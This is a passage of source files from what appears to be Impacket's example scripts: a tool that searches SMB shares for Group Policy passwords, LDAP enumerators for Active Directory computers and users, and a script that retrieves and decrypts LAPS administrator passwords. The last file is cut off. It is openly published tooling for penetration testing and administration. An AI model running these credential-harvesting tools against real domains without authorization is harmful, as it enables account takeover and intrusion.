parser.add_argument(\"-debug\", action=\"store_true\", help=\"Turn DEBUG output ON\")\n\n    group = parser.add_argument_group('authentication')\n    group.add_argument(\"-hashes\", action=\"store\", metavar=\"LMHASH:NTHASH\", help=\"NTLM hashes, format is LMHASH:NTHASH\")\n    group.add_argument(\"-no-pass\", action=\"store_true\", help=\"Don't ask for password (useful for -k)\")\n    group.add_argument(\"-k\", action=\"store_true\", help=\"Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line\")\n    group.add_argument(\"-aesKey\", action=\"store\", metavar=\"hex key\", help=\"AES key to use for Kerberos Authentication (128 or 256 bits)\")\n\n    group = parser.add_argument_group(\"connection\")\n\n    group.add_argument(\"-dc-ip\", action=\"store\", metavar=\"ip address\", help=\"IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter\")\n    group.add_argument(\"-target-ip\", action=\"store\", metavar=\"ip address\", help=\"IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it\")\n    group.add_argument(\"-port\", choices=[\"139\", \"445\"], nargs=\"?\", default=\"445\", metavar=\"destination port\", help=\"Destination port to connect to SMB Server\")\n\n    if len(sys.argv) == 1:\n        parser.print_help()\n        sys.exit(1)\n\n    return parser.parse_args()\n\n\ndef parse_target(args):\n    domain, username, password, address = utils.parse_target(args.target)\n\n    if args.target_ip is None:\n        args.target_ip = address\n\n    if domain is None:\n        domain = \"\"\n\n    if len(password) == 0 and len(username) != 0 and args.hashes is None and args.no_pass is False and args.aesKey is None:\n        from getpass import getpass\n        password = getpass(\"Password:\")\n\n    if args.aesKey is not None:\n        args.k = True\n\n    if args.hashes is not None:\n        lmhash, nthash = args.hashes.split(\":\")\n    else:\n        lmhash, nthash = \"\", \"\"\n\n    return domain, username, password, address, lmhash, nthash\n\ndef init_smb_session(args, domain, username, password, address, lmhash, nthash):\n    smbClient = SMBConnection(address, args.target_ip, sess_port=int(args.port))\n    dialect = smbClient.getDialect()\n    if dialect == SMB_DIALECT:\n        logging.debug(\"SMBv1 dialect used\")\n    elif dialect == SMB2_DIALECT_002:\n        logging.debug(\"SMBv2.0 dialect used\")\n    elif dialect == SMB2_DIALECT_21:\n        logging.debug(\"SMBv2.1 dialect used\")\n    else:\n        logging.debug(\"SMBv3.0 dialect used\")\n    if args.k is True:\n        smbClient.kerberosLogin(username, password, domain, lmhash, nthash, args.aesKey, args.dc_ip)\n    else:\n        smbClient.login(username, password, domain, lmhash, nthash)\n    if smbClient.isGuestSession() > 0:\n        logging.debug(\"GUEST Session Granted\")\n    else:\n        logging.debug(\"USER Session Granted\")\n    return smbClient\n\n\nif __name__ == '__main__':\n    print(version.BANNER)\n    args = parse_args()\n    logger.init(args.ts, args.debug)\n\n    if args.target.upper() == \"LOCAL\":\n        if args.xmlfile is not None:\n            # Only given decrypt XML file\n            if os.path.exists(args.xmlfile):\n                g = GetGPPasswords(None, None)\n                logging.debug(\"Opening %s XML file for reading ...\" % args.xmlfile)\n                f = open(args.xmlfile, \"r\")\n                rawdata = \"\".join(f.readlines())\n                f.close()\n                results = g.parse_xmlfile_content(args.xmlfile, rawdata)\n                g.show(results)\n            else:\n                print(\"[!] File does not exists or is not readable.\")\n    else:\n        domain, username, password, address, lmhash, nthash = parse_target(args)\n        try:\n            smbClient = init_smb_session(args, domain, username, password, address, lmhash, nthash)\n            g = GetGPPasswords(smbClient, args.share)\n            g.list_shares()\n            g.find_cpasswords(args.base_dir)\n        except Exception as e:\n            if logging.getLogger().level == logging.DEBUG:\n                traceback.print_exc()\n            logging.error(str(e))\n"
  },
  {
    "path": "examples/GetADComputers.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   This script  is inspired from Alberto Solino's -> imacket-GetAdUsers. \n#   This script will make a LDAP query to DC and gather information about all the COMPUTERS present in DC.\n#   Also, has the capablity of resolving the IP addresses of the idenitifed hosts by making a DNS query of A record to the DC.    \n#\n# Inspired from author:\n#   Alberto Solino (@agsolino)\n#\n# Author:\n#   Fowz Masood (https://www.linkedin.com/in/f-masood/)\n#   Please let me know of any improvements / suggestions or bugs. \n#\n#\n# Reference for:\n#   LDAP\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport argparse\nimport logging\nimport sys\nimport dns.resolver\nfrom datetime import datetime\n\nfrom impacket import version\nfrom impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_identity, ldap_login\nfrom impacket.ldap import ldap, ldapasn1\n\n\nclass GetADComputers:\n    def __init__(self, username, password, domain, cmdLineOptions):\n        self.options = cmdLineOptions\n        self.__username = username\n        self.__password = password\n        self.__domain = domain\n        self.__target = None\n        self.__lmhash = ''\n        self.__nthash = ''\n        self.__aesKey = cmdLineOptions.aesKey\n        self.__doKerberos = cmdLineOptions.k\n        #[!] in this script the value of -dc-ip option is self.__kdcIP and the value of -dc-host option is self.__kdcHost\n        self.__kdcIP = cmdLineOptions.dc_ip\n        self.__kdcHost = cmdLineOptions.dc_host\n        self.__requestUser = cmdLineOptions.user\n        self.__resolveIP = cmdLineOptions.resolveIP\n        if cmdLineOptions.hashes is not None:\n            self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':')\n\n        # Create the baseDN\n        domainParts = self.__domain.split('.')\n        self.baseDN = ''\n        for i in domainParts:\n            self.baseDN += 'dc=%s,' % i\n        # Remove last ','\n        self.baseDN = self.baseDN[:-1]\n\n        # Let's calculate the header and format\n        if self.__resolveIP : #resolveIP flag is used, we will try to resolve the IP address\n            self.__header = [\"SAM AcctName\", \"DNS Hostname\", \"OS Version\", \"OS\", \"IPAddress\"]\n            # Since we won't process all rows at once, this will be fixed lengths\n            self.__colLen = [15, 35, 15, 35, 20]\n            self.__outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(self.__colLen)])\n\n        else:\n            self.__header = [\"SAM AcctName\", \"DNS Hostname\", \"OS Version\", \"OS\"]\n            # Since we won't process all rows at once, this will be fixed lengths\n            self.__colLen = [15, 35, 15, 20]\n            self.__outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(self.__colLen)])\n\n    @staticmethod\n    def getUnixTime(t):\n        t -= 116444736000000000\n        t /= 10000000\n        return t\n\n    def processRecord(self, item):\n        if isinstance(item, ldapasn1.SearchResultEntry) is not True:\n            return\n        sAMAccountName = ''\n        dNSHostName = ''\n        operatingSystem = ''\n        operatingSystemVersion = ''\n        try:\n\n            if(self.__resolveIP): #will resolve the IP address\n                resolvedIPAddress=''\n                resolveIP = dns.resolver.Resolver()\n                dns.resolver.default_resolver = dns.resolver.Resolver(configure=False) #Dont want to use the default DNS in /etc/resolv.conf\n                dns.resolver.default_resolver.nameservers = [self.__kdcIP] #converting DCIP from STRING to LIST\n                for attribute in item['attributes']:\n                    if str(attribute['type']) == 'sAMAccountName':\n                        if attribute['vals'][0].asOctets().decode('utf-8').endswith('$') is True:\n                            # sAMAccountName\n                            sAMAccountName = attribute['vals'][0].asOctets().decode('utf-8')\n                    if str(attribute['type']) == 'dNSHostName':\n                        if attribute['vals'][0].asOctets().decode('utf-8').endswith('$') is False:\n                            # dNSHostName + IP resolve\n                            dNSHostName = attribute['vals'][0].asOctets().decode('utf-8')\n                            try:\n                                answers=dns.resolver.resolve(attribute['vals'][0].asOctets().decode('utf-8'),'A',tcp=True)\n                                for rdata in answers:\n                                    resolvedIPAddress = rdata.address\n                            except:\n                                    resolvedIPAddress = '<unable to resolve>'\n                    if str(attribute['type']) == 'operatingSystem':\n                        if attribute['vals'][0].asOctets().decode('utf-8').endswith('$') is False:\n                            # operatingSystem\n                            operatingSystem = attribute['vals'][0].asOctets().decode('utf-8')\n                    if str(attribute['type']) == 'operatingSystemVersion':\n                        if attribute['vals'][0].asOctets().decode('utf-8').endswith('$') is False:\n                            # operatingSystemVersion\n                            operatingSystemVersion = attribute['vals'][0].asOctets().decode('utf-8')\n                print((self.__outputFormat.format(*[sAMAccountName, dNSHostName, operatingSystemVersion,operatingSystem,resolvedIPAddress])))\n\n            else: #won't resolve the IP address\n                for attribute in item['attributes']:\n                    if str(attribute['type']) == 'sAMAccountName':\n                        if attribute['vals'][0].asOctets().decode('utf-8').endswith('$') is True:\n                            # sAMAccountName\n                            sAMAccountName = attribute['vals'][0].asOctets().decode('utf-8')\n                    if str(attribute['type']) == 'dNSHostName':\n                        if attribute['vals'][0].asOctets().decode('utf-8').endswith('$') is False:\n                            # dNSHostName\n                            dNSHostName = attribute['vals'][0].asOctets().decode('utf-8')\n                    if str(attribute['type']) == 'operatingSystem':\n                        if attribute['vals'][0].asOctets().decode('utf-8').endswith('$') is False:\n                            # operatingSystem\n                            operatingSystem = attribute['vals'][0].asOctets().decode('utf-8')\n                    if str(attribute['type']) == 'operatingSystemVersion':\n                        if attribute['vals'][0].asOctets().decode('utf-8').endswith('$') is False:\n                            # operatingSystemVersion\n                            operatingSystemVersion = attribute['vals'][0].asOctets().decode('utf-8')\n                print((self.__outputFormat.format(*[sAMAccountName, dNSHostName, operatingSystemVersion,operatingSystem])))\n        \n \n\n        except Exception as e:\n            logging.debug(\"Exception\", exc_info=True)\n            logging.error('Skipping item, cannot process due to error %s' % str(e))\n            pass\n\n    def run(self):\n        # Connect to LDAP\n        ldapConnection = ldap_login(self.__target, self.baseDN, self.__kdcIP, self.__kdcHost, self.__doKerberos, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)\n        # updating \"self.__target\" as it may have changed in the ldap_login processing\n        self.__target = ldapConnection._dstHost\n        logging.info('Querying %s for information about domain.' % self.__target)\n        # Print header\n        print((self.__outputFormat.format(*self.__header)))\n        print(('  '.join(['-' * itemLen for itemLen in self.__colLen])))\n\t\n        # Building the search filter\n        #searchFilter = '(objectCategory=computer)'\n        searchFilter = '(&(objectCategory=computer)(objectClass=computer))'\n\n        try:\n            logging.debug('Search Filter=%s' % searchFilter)\n            sc = ldap.SimplePagedResultsControl(size=100)\n            \n            ldapConnection.search(searchFilter=searchFilter,attributes=['sAMAccountName','dNSHostName','operatingSystem','operatingSystemVersion'],sizeLimit=0, searchControls = [sc], perRecordCallback=self.processRecord)\n            \n        except ldap.LDAPSearchError:\n                raise\n\n        ldapConnection.close()\n\n# Process command-line arguments.\nif __name__ == '__main__':\n    print((version.BANNER))\n\n    parser = argparse.ArgumentParser(add_help = True, description = \"Queries target domain for computer data\")\n\n    parser.add_argument('target', action='store', help='domain[/username[:password]]')\n    parser.add_argument('-user', action='store', metavar='username', help='Requests data for specific user ')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-resolveIP', action='store_true',  help='Tries to resolve the IP address of computer objects, by performing the nslookup on the DC.')\n    \n    group = parser.add_argument_group('authentication')\n    group.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\", help='Use Kerberos authentication. Grabs credentials from ccache file '\n                                                       '(KRB5CCNAME) based on target parameters. If valid credentials '\n                                                       'cannot be found, it will use the ones specified in the command '\n                                                       'line')\n    group.add_argument('-aesKey', action=\"store\", metavar = \"hex key\", help='AES key to use for Kerberos Authentication '\n                                                                            '(128 or 256 bits)')\n    \n    group = parser.add_argument_group('connection')\n    group.add_argument('-dc-ip', action='store', metavar='ip address', help='IP Address of the domain controller. If '\n                                                                              'ommited it use the domain part (FQDN) '\n                                                                              'specified in the target parameter')\n    group.add_argument('-dc-host', action='store', metavar='hostname', help='Hostname of the domain controller to use. '\n                                                                              'If ommited, the domain part (FQDN) '\n                                                                              'specified in the account parameter will be used')\n\n    \n\n\n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    domain, username, password, _, _, options.k = parse_identity(options.target, options.hashes, options.no_pass, options.aesKey, options.k)\n\n    if domain == '':\n        logging.critical('Domain should be specified!')\n        sys.exit(1)\n\n    try:\n        executer = GetADComputers(username, password, domain, options)\n        executer.run()\n    except Exception as e:\n        if logging.getLogger().level == logging.DEBUG:\n            import traceback\n            traceback.print_exc()\n        logging.error(str(e))\n"
  },
  {
    "path": "examples/GetADUsers.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   This script will gather data about the domain's users and their corresponding email addresses. It will also\n#   include some extra information about last logon and last password set attributes.\n#   You can enable or disable the the attributes shown in the final table by changing the values in line 184 and\n#   headers in line 190.\n#   If no entries are returned that means users don't have email addresses specified. If so, you can use the\n#   -all-users parameter.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n# Reference for:\n#   LDAP\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport argparse\nimport logging\nimport sys\nfrom datetime import datetime\n\nfrom impacket import version\nfrom impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_identity, ldap_login\nfrom impacket.ldap import ldap, ldapasn1\n\nclass GetADUsers:\n    def __init__(self, username, password, domain, cmdLineOptions):\n        self.options = cmdLineOptions\n        self.__username = username\n        self.__password = password\n        self.__domain = domain\n        self.__target = None\n        self.__lmhash = ''\n        self.__nthash = ''\n        self.__aesKey = cmdLineOptions.aesKey\n        self.__doKerberos = cmdLineOptions.k\n        #[!] in this script the value of -dc-ip option is self.__kdcIP and the value of -dc-host option is self.__kdcHost\n        self.__kdcIP = cmdLineOptions.dc_ip\n        self.__kdcHost = cmdLineOptions.dc_host\n        self.__requestUser = cmdLineOptions.user\n        self.__all = cmdLineOptions.all\n        if cmdLineOptions.hashes is not None:\n            self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':')\n\n        # Create the baseDN\n        domainParts = self.__domain.split('.')\n        self.baseDN = ''\n        for i in domainParts:\n            self.baseDN += 'dc=%s,' % i\n        # Remove last ','\n        self.baseDN = self.baseDN[:-1]\n\n        # Let's calculate the header and format\n        self.__header = [\"Name\", \"Email\", \"PasswordLastSet\", \"LastLogon\"]\n        # Since we won't process all rows at once, this will be fixed lengths\n        self.__colLen = [20, 30, 19, 19]\n        self.__outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(self.__colLen)])\n\n    @staticmethod\n    def getUnixTime(t):\n        t -= 116444736000000000\n        t /= 10000000\n        return t\n\n    def processRecord(self, item):\n        if isinstance(item, ldapasn1.SearchResultEntry) is not True:\n            return\n        sAMAccountName = ''\n        pwdLastSet = ''\n        mail = ''\n        lastLogon = 'N/A'\n        try:\n            for attribute in item['attributes']:\n                if str(attribute['type']) == 'sAMAccountName':\n                    if attribute['vals'][0].asOctets().decode('utf-8').endswith('$') is False:\n                        # User Account\n                        sAMAccountName = attribute['vals'][0].asOctets().decode('utf-8')\n                elif str(attribute['type']) == 'pwdLastSet':\n                    if str(attribute['vals'][0]) == '0':\n                        pwdLastSet = '<never>'\n                    else:\n                        pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))\n                elif str(attribute['type']) == 'lastLogon':\n                    if str(attribute['vals'][0]) == '0':\n                        lastLogon = '<never>'\n                    else:\n                        lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))\n                elif str(attribute['type']) == 'mail':\n                    mail = str(attribute['vals'][0])\n\n            print((self.__outputFormat.format(*[sAMAccountName, mail, pwdLastSet, lastLogon])))\n        except Exception as e:\n            logging.debug(\"Exception\", exc_info=True)\n            logging.error('Skipping item, cannot process due to error %s' % str(e))\n            pass\n\n    def run(self):\n        # Connect to LDAP\n        ldapConnection = ldap_login(self.__target, self.baseDN, self.__kdcIP, self.__kdcHost, self.__doKerberos, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)\n        # updating \"self.__target\" as it may have changed in the ldap_login processing\n        self.__target = ldapConnection._dstHost\n        logging.info('Querying %s for information about domain.' % self.__target)\n        # Print header\n        print((self.__outputFormat.format(*self.__header)))\n        print(('  '.join(['-' * itemLen for itemLen in self.__colLen])))\n\n        # Building the search filter\n        if self.__all:\n            searchFilter = \"(&(sAMAccountName=*)(objectCategory=user)\"\n        else:\n            searchFilter = \"(&(sAMAccountName=*)(mail=*)(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))\" % UF_ACCOUNTDISABLE\n\n        if self.__requestUser is not None:\n            searchFilter += '(sAMAccountName:=%s))' % self.__requestUser\n        else:\n            searchFilter += ')'\n\n        try:\n            logging.debug('Search Filter=%s' % searchFilter)\n            sc = ldap.SimplePagedResultsControl(size=100)\n            ldapConnection.search(searchFilter=searchFilter,\n                                  attributes=['sAMAccountName', 'pwdLastSet', 'mail', 'lastLogon'],\n                                  sizeLimit=0, searchControls = [sc], perRecordCallback=self.processRecord)\n        except ldap.LDAPSearchError:\n                raise\n\n        ldapConnection.close()\n\n# Process command-line arguments.\nif __name__ == '__main__':\n    print((version.BANNER))\n\n    parser = argparse.ArgumentParser(add_help = True, description = \"Queries target domain for users data\")\n\n    parser.add_argument('target', action='store', help='domain[/username[:password]]')\n    parser.add_argument('-user', action='store', metavar='username', help='Requests data for specific user ')\n    parser.add_argument('-all', action='store_true', help='Return all users, including those with no email '\n                                                           'addresses and disabled accounts. When used with -user it '\n                                                          'will return user\\'s info even if the account is disabled')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n\n    group = parser.add_argument_group('authentication')\n    group.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\", help='Use Kerberos authentication. Grabs credentials from ccache file '\n                                                       '(KRB5CCNAME) based on target parameters. If valid credentials '\n                                                       'cannot be found, it will use the ones specified in the command '\n                                                       'line')\n    group.add_argument('-aesKey', action=\"store\", metavar = \"hex key\", help='AES key to use for Kerberos Authentication '\n                                                                            '(128 or 256 bits)')\n\n    group = parser.add_argument_group('connection')\n    group.add_argument('-dc-ip', action='store', metavar='ip address', help='IP Address of the domain controller. If '\n                                                                              'ommited it use the domain part (FQDN) '\n                                                                              'specified in the target parameter')\n    group.add_argument('-dc-host', action='store', metavar='hostname', help='Hostname of the domain controller to use. '\n                                                                              'If ommited, the domain part (FQDN) '\n                                                                              'specified in the account parameter will be used')\n\n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    domain, username, password, _, _, options.k = parse_identity(options.target, options.hashes, options.no_pass, options.aesKey, options.k)\n\n    if domain == '':\n        logging.critical('Domain should be specified!')\n        sys.exit(1)\n\n    try:\n        executer = GetADUsers(username, password, domain, options)\n        executer.run()\n    except Exception as e:\n        if logging.getLogger().level == logging.DEBUG:\n            import traceback\n            traceback.print_exc()\n        logging.error(str(e))\n"
  },
  {
    "path": "examples/GetLAPSPassword.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   This script will gather data about the domain's computers and their LAPS/LAPSv2 passwords.\n#     Initial formatting for this tool came from the GetADUsers.py example script.\n#\n# Author(s):\n#   Thomas Seigneuret (@zblurx)\n#   Tyler Booth (@dru1d-foofus)\n#\n# Reference for:\n#   LDAP\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom datetime import datetime\nfrom impacket import version\nfrom impacket.dcerpc.v5 import transport\nfrom impacket.dcerpc.v5.epm import hept_map\nfrom impacket.dcerpc.v5.gkdi import MSRPC_UUID_GKDI, GkdiGetKey, GroupKeyEnvelope\nfrom impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY\nfrom impacket.dpapi_ng import EncryptedPasswordBlob, KeyIdentifier, compute_kek, create_sd, decrypt_plaintext, unwrap_cek\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_identity, ldap_login\nfrom impacket.ldap import ldap, ldapasn1\nfrom pyasn1.codec.der import decoder\nfrom pyasn1_modules import rfc5652\nimport argparse\nimport json\nimport logging\nimport sys\n\nclass GetLAPSPassword:\n    @staticmethod\n    def printTable(items, header, outputfile):\n        colLen = []\n        for i, col in enumerate(header):\n            rowMaxLen = max([len(row[i]) for row in items])\n            colLen.append(max(rowMaxLen, len(col)))\n\n        outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)])\n\n        # Print header\n        print(outputFormat.format(*header))\n        print('  '.join(['-' * itemLen for itemLen in colLen]))\n        for row in items:\n                print(outputFormat.format(*row))\n        \n        if outputfile:\n            with open(outputfile, 'w') as file:\n                outputFormat_file = '\\t'.join(['{%d:%ds}' % (num, width) for num, width in enumerate(colLen)]) # Added tab delimited output for files\n                file.write(outputFormat_file.format(*header) + \"\\n\")\n                for row in items:\n                    file.write((outputFormat_file.format(*row)).strip() + \"\\n\") # Removed extraneous field to clean up output saved to a file\n\n    def __init__(self, username, password, domain, cmdLineOptions):\n        self.options = cmdLineOptions\n        self.__username = username\n        self.__password = password\n        self.__domain = domain\n        self.__target = None\n        self.__lmhash = ''\n        self.__nthash = ''\n        self.__aesKey = cmdLineOptions.aesKey\n        self.__doKerberos = cmdLineOptions.k\n        self.__kdcIP = cmdLineOptions.dc_ip\n        self.__kdcHost = cmdLineOptions.dc_host\n        self.__targetComputer = cmdLineOptions.computer\n        self.__outputFile = cmdLineOptions.outputfile\n        self.__ldaps_flag = cmdLineOptions.ldaps_flag\n        self.__KDSCache = {}\n\n        if cmdLineOptions.hashes is not None:\n            self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':')\n\n        # Create the baseDN\n        domainParts = self.__domain.split('.')\n        self.baseDN = ''\n        for i in domainParts:\n            self.baseDN += 'dc=%s,' % i\n        # Remove last ','\n        self.baseDN = self.baseDN[:-1]\n\n    def getLAPSv2Decrypt(self, rawEncryptedLAPSBlob):\n        try:\n            encryptedLAPSBlob = EncryptedPasswordBlob(rawEncryptedLAPSBlob)\n            parsed_cms_data, remaining = decoder.decode(encryptedLAPSBlob['Blob'], asn1Spec=rfc5652.ContentInfo())\n            enveloped_data_blob = parsed_cms_data['content']\n            parsed_enveloped_data, _ = decoder.decode(enveloped_data_blob, asn1Spec=rfc5652.EnvelopedData())\n            recipient_infos = parsed_enveloped_data['recipientInfos']\n            kek_recipient_info = recipient_infos[0]['kekri']\n            kek_identifier = kek_recipient_info['kekid'] \n            key_id = KeyIdentifier(bytes(kek_identifier['keyIdentifier']))\n            tmp,_ = decoder.decode(kek_identifier['other']['keyAttr'])\n            sid = tmp['field-1'][0][0][1].asOctets().decode(\"utf-8\") \n            target_sd = create_sd(sid)\n            laps_enabled = True\n        except Exception as e:\n            logging.error('Cannot unpack msLAPS-EncryptedPassword blob due to error %s' % str(e))\n        # Check if item is in cache\n        if key_id['RootKeyId'] in self.__KDSCache:\n            gke = self.__KDSCache[key_id['RootKeyId']]\n        else:\n            # Connect on RPC over TCP to MS-GKDI to call opnum 0 GetKey \n            stringBinding = hept_map(destHost=self.__target, remoteIf=MSRPC_UUID_GKDI, protocol = 'ncacn_ip_tcp')\n            rpctransport = transport.DCERPCTransportFactory(stringBinding)\n            if hasattr(rpctransport, 'set_credentials'):\n                rpctransport.set_credentials(username=self.__username, password=self.__password, domain=self.__domain, lmhash=self.__lmhash, nthash=self.__nthash)\n            if self.__doKerberos:\n                rpctransport.set_kerberos(self.__doKerberos, kdcHost=self.__target)\n            if self.__kdcIP is not None:\n                rpctransport.setRemoteHost(self.__kdcIP)\n                rpctransport.setRemoteName(self.__target)\n\n            dce = rpctransport.get_dce_rpc()\n            dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)\n            dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)\n            logging.debug(\"Connecting to %s\" % stringBinding)\n            try:\n                dce.connect()\n            except Exception as e:\n                logging.error(\"Something went wrong, check error status => %s\" % str(e))\n                return laps_enabled\n            logging.debug(\"Connected\")\n            try:\n                dce.bind(MSRPC_UUID_GKDI)\n            except Exception as e:\n                logging.error(\"Something went wrong, check error status => %s\" % str(e))\n                return laps_enabled\n            logging.debug(\"Successfully bound\")\n\n\n            logging.debug(\"Calling MS-GKDI GetKey\")\n            resp = GkdiGetKey(dce, target_sd=target_sd, l0=key_id['L0Index'], l1=key_id['L1Index'], l2=key_id['L2Index'], root_key_id=key_id['RootKeyId'])\n            # Unpack GroupKeyEnvelope\n            gke = GroupKeyEnvelope(b''.join(resp['pbbOut']))\n        self.__KDSCache[gke['RootKeyId']] = gke\n\n        kek = compute_kek(gke, key_id)\n        enc_content_parameter = bytes(parsed_enveloped_data[\"encryptedContentInfo\"][\"contentEncryptionAlgorithm\"][\"parameters\"])\n        iv, _ = decoder.decode(enc_content_parameter)\n        iv = bytes(iv[0])\n        \n        cek = unwrap_cek(kek, bytes(kek_recipient_info['encryptedKey']))\n        return decrypt_plaintext(cek, iv, remaining)\n\n    @staticmethod\n    def getUnixTime(t):\n        t -= 116444736000000000\n        t /= 10000000\n        return t\n\n    def run(self):\n        # Connect to LDAP\n        ldapConnection = ldap_login(self.__target, self.baseDN, self.__kdcIP, self.__kdcHost, self.__doKerberos, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, self.__ldaps_flag)\n        # updating \"self.__target\" as it may have changed in the ldap_login processing\n        self.__target = ldapConnection._dstHost\n\n        # Building the search filter\n        searchFilter = \"(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))\"  # Default search filter value\n        if self.__targetComputer is not None:\n            searchFilter += '(name=' + self.__targetComputer + ')'\n        searchFilter += \")\"\n\n        try:\n            # Microsoft Active Directory set an hard limit of 1000 entries returned by any search\n            paged_search_control = ldapasn1.SimplePagedResultsControl(criticality=True, size=1000)\n\n            resp = ldapConnection.search(searchFilter=searchFilter,\n                                         attributes=['msLAPS-EncryptedPassword', 'msLAPS-PasswordExpirationTime', 'msLAPS-Password', 'sAMAccountName', \\\n                                         'ms-Mcs-AdmPwdExpirationTime', 'ms-MCS-AdmPwd'],\n                                         searchControls=[paged_search_control])\n\n        except ldap.LDAPSearchError as e:\n            if e.getErrorString().find('sizeLimitExceeded') >= 0:\n                # We should never reach this code as we use paged search now\n                logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')\n                resp = e.getAnswers()\n                pass\n            else:\n                raise\n\n        entries = []\n        \n        logging.debug('Total of records returned %d' % len(resp))\n\n        if len(resp) == 0:\n            if self.__targetComputer is not None:\n                logging.error('%s$ not found in LDAP.' % self.__targetComputer)\n            else:\n                logging.error(\"No valid entry in LDAP\")\n            return \n        for item in resp:\n            if isinstance(item, ldapasn1.SearchResultEntry) is not True:\n                continue\n            try:\n                sAMAccountName = None\n                lapsPasswordExpiration = None\n                lapsUsername = None\n                lapsPassword = None\n                lapsv2 = False\n                for attribute in item['attributes']:\n                    if str(attribute['type']) == 'sAMAccountName':\n                        sAMAccountName = str(attribute['vals'][0])\n                    if str(attribute['type']) == 'msLAPS-EncryptedPassword':\n                        lapsv2 = True\n                        plaintext = self.getLAPSv2Decrypt(bytes(attribute['vals'][0]))\n                        r = json.loads(plaintext[:-18].decode('utf-16le'))\n                        # timestamp = r[\"t\"]\n                        lapsUsername = r[\"n\"]\n                        lapsPassword = r[\"p\"]\n                    elif str(attribute['type']) == 'ms-Mcs-AdmPwdExpirationTime' or str(attribute['type']) == 'msLAPS-PasswordExpirationTime':\n                        if str(attribute['vals'][0]) != '0':\n                            lapsPasswordExpiration = datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))).strftime('%Y-%m-%d %H:%M:%S')\n                    elif str(attribute['type']) == 'ms-Mcs-AdmPwd':\n                        lapsPassword = attribute['vals'][0].asOctets().decode('utf-8')\n                if sAMAccountName is not None and lapsPassword is not None:\n                    entry = [sAMAccountName,lapsUsername, lapsPassword, lapsPasswordExpiration, str(lapsv2)]\n                    entry = [element if element is not None else 'N/A' for element in entry]\n                    entries.append(entry)\n            except Exception as e:\n                logging.error('Skipping item, cannot process due to error %s' % str(e))\n                pass\n\n        if len(entries) == 0:\n            if self.__targetComputer is not None:\n                logging.error(\"No LAPS data returned for %s\" % self.__targetComputer)\n            else:\n                logging.error(\"No LAPS data returned\")\n            return \n        \n        self.printTable(entries,['Host','LAPS Username','LAPS Password','LAPS Password Expiration', 'LAPSv2'], self.__outputFile)\n\n# Process command-line arguments.\nif __name__ == '__main__':\n    